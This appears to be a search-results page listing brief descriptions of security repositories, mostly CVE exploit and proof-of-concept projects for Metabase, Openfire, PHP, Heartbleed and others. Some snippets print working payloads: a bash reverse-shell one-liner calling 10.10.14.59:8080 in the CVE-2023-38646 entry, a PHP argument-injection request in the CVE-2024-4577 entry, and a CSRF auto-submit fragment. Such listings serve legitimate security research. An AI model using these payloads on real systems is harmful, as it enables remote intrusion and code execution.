8771 matches found
Setup IPsec VPN
English | 简体中文 | 繁體中文 | 日本語 | Русский IPsec VPN Server Auto Setup Scripts Set up your own IPsec VPN server in just a few minutes, with IPsec/L2TP, Cisco IPsec and IKEv2. An IPsec VPN encrypts your network traffic, so that nobody between you and the VPN server can eavesdrop on your data as it...
CVE-2023-39063
CVE-2023-39063 This repository contains an exploit for the vulnerability CVE-2023-39063 found in the RaidenFTPD v2.4.4005 software. The exploit has been created to work with Python 3. Exploit Details Python 3 code to exploit a SEH based Buffer Overflow vulnerability in RaidenFTPD v.2.4.4005. This...
CVE-2023-22518
CVE-2023-22518 Exploit Description This repository contains an exploit script for CVE-2023-22518. The script allows for unauthorized file uploads, potentially leading to remote code execution or other security vulnerabilities. Disclaimer This repository is for educational and informational purpos...
dnspython
dnspython INTRODUCTION dnspython is a DNS toolkit for Python. It supports almost all record types. It can be used for queries, zone transfers, and dynamic updates. It supports TSIG-authenticated messages and EDNS0. dnspython provides both high- and low-level access to DNS. The high-level classes...
CVE-2023-32315
CVE-2023-32315 - Ignite Realtime Openfire 路径遍历漏洞 ⚠️ 仅供教育和授权安全研究使用 原始漏洞利用作者 非常感谢原始 PoC 作者 phith0n 和 K3ysTr0K3R 描述 Openfire 是一款基于开源 Apache 许可证的 XMPP 服务器。Openfire 的管理控制台（一个基于 Web 的应用程序）被发现容易受到通过安装环境的路径遍历攻击。这允许未经身份验证的用户在已配置的 Openfire 环境中使用未经身份验证的 Openfire 安装环境，访问管理员专用的 Openfire 管理控制台中的受限页面。此漏洞影响自 2015...
CVE-2026-94218
A flaw was found in the authentication session management of Keycloak, an identity and access management solution. The issue occurs when an administrator enforces a stronger authentication flow, such as mandatory two-factor authentication 2FA setup, through a client policy. A user can bypass this...
CVE-2026-18577
cve-id 捐赠 通过 PayPal 或扫描下方二维码来支持本项目的维护。 ⚡ 简单使用 请仅在安全且经授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验室环境 经授权的渗透测试环境 示例设置： root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source venv/bin/activate Windo...
Metabase-Pre-Auth-RCE-POC
CVE-2023-38646 — Metabase 远程代码执行 RCE 概念验证 概述 本仓库记录了一个概念验证 PoC 安全研究项目 ，分析影响Metabase 易受攻击版本的严重预认证远程代码执行 RCE 漏洞 CVE-2023-38646 。 该项目的目标是展示真实世界漏洞的完整生命周期 ，包括： 理解漏洞及其根本原因 在受控实验环境中复现利用 在易受攻击系统上建立反向 Shell 通过网络监控工具 观察攻击行为 展示检测工程技术 提出防御缓解策略 本仓库旨在展示以下方面的实践技能： 漏洞研究 利用复现 反向 Shell 使用 网络流量分析 入侵检测系统 安全缓解策略 漏洞背景...
kernel-debug-lab-for-virtual-box
如何使用 Windbg 设置 VirtualBox 实验室来调试内核驱动程序 这里我们假设计算机 A 上已安装 windbg，计算机 B 上已安装 Visual Studio、SDK 和 WDK。 1. 打开 Host Network Manager，创建或设置一个新的 Virtual Box Host-Only Ethernet adapter 2. 创建或选择一个 Virtual Box Host-Only Ethernet adapter，并勾选 DHCP Server 的 Enable 复选框 3. 对于计算机 A 和计算机 B，进入 Settings - Network，在...
Heartbleed
Heartbleed-POC 此仓库旨在作为 Heartbleed CVE 的有效概念验证，并包含在没有预建 Dockerfile 的情况下设置自己的 Heartbleed 挑战的说明。 如何构建实验环境 1. 使用 cd service/heartbleed 或 cd src 导航到源代码/服务目录 2. 使用以下命令构建 Docker 容器：sudo docker build -t heartbleed . 3. 使用以下命令运行 Docker 容器：sudo docker run -dp 443:443 --name heartbleed heartbleed 如何利用 在...
CVE-2024-4577
CVE-2024-4577 环境构建文件及PHP文件 --poc-- Invoke-WebRequest -Method POST -Headers @"Content-Type" = "application/x-www-form-urlencoded" -Body "" -Uri "http://localhost/test.php?%ADd+allowurlinclude%3D1+%ADd+autoprepend file%3Dphp://input"...
CVE-2024-52429
CVE-2024-52429 WP Quick Setup history.pushState'', '', '/'; document.forms0.submit;...
CVE-2021-41773
CVE-2021-41773 搭建漏洞环境...
crackerjack
!CAUTION This repo is unmaintained, visit https://github.com/sadreck/crackerjack for the latest version. CrackerJack Web Interface for Hashcat by Context Information Security Contents Introduction Architecture Features Limitations Installation Troubleshooting Screenshots License Introduction...
Security_incident_report
01. 基础设施构成 该项目的基础设施并未通过 IaC（Terraform 等）代码进行管理，而是采用安装 pfSense·Wazuh 后，在管理界面（GUI）中直接修改配置 的方式构建。因此，这里记录的并非"代码"，而是网络拓扑图、各配置界面的截图，以及更改了哪些值、为何更改，以便能够复现。 网络构成 以 pfSense 为基准，将外部（WAN）与内部（LAN）分离，并通过交换机将内部网络进一步划分为 4 个区域。...
CVE-2026-45332-PoC
CVE-2026-45332：Automad CMS 中的失效访问控制 CVE-2026-45332 的概念验证，Automad CMS 中的失效访问控制漏洞，允许任何未经身份验证的攻击者通过设置端点转储每个管理员账户的 bcrypt 密码哈希和 TOTP 密钥，该端点在初始配置后永远不会被禁用。 字段| 值 ---|--- CVE| CVE-2026-45332 GHSA| GHSA-xm76-r88j-vm3g 产品| Automad CMS composer automad/automad 受影响版本| = 2.0.0-alpha.1，generatePHP; //...
CVE-2020-16125-Reproduction
CVE-2020-16125-复现 该仓库旨在复现该攻击。 说明： 其原始名称为“Ubuntu gdm3 权限提升”，由 GitHub 安全研究员 Kevin Backhouse 发现。其 CVSS 评分为 4.6/10（中等），受影响环境为 Ubuntu 20.04.1 及早于 3.36.2 或 3.38.2 的 gdm3 版本。 该漏洞极易复现，且影响相当严重。 分析： 该漏洞源于 gdm3 与 Ubuntu 因各自机制产生的不可预见的连锁反应。早于 3.36.2 或 3.38.2 的 gdm3 版本，在无法通过 dbus 及时联系 accountservice 时，会启动...
CVE-2023-38646
CVE-2023-38646 原始脚本来源于securezeron 我在测试过程中发现该poc生成的反向shell在经过base6编码后因为末尾的'='字符导致利用失败。对它稍作修改解决了这个问题。 root@kitploit: 原始的生成reverse shell负载的代码 base64.b64encode"bash -i &/dev/tcp/10.10.14.59/8080 0&1".encode.decode 'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjU5LzgwODAgMD4mMQ==' 修改后的生成reverse shell负载的代码没有‘=...
SVPT_CW_2
CVE-2024-21413 https://github.com/KartheekKandalam99/SVPTCW2 CVE-2024-21413 课程作业设置 TRYHACKME 提供了用于研究此漏洞的房间。以下是房间的访问链接： https://tryhackme.com/r/room/monikerlink 要通过 RDP 访问房间，我们需要连接到 TryHackMe VPN。点击此链接下载 VPN 配置文件： https://tryhackme.com/r/access 下载 VPN 配置文件后，根据您的操作系统，按照以下步骤连接到 VPN： sudo apt install...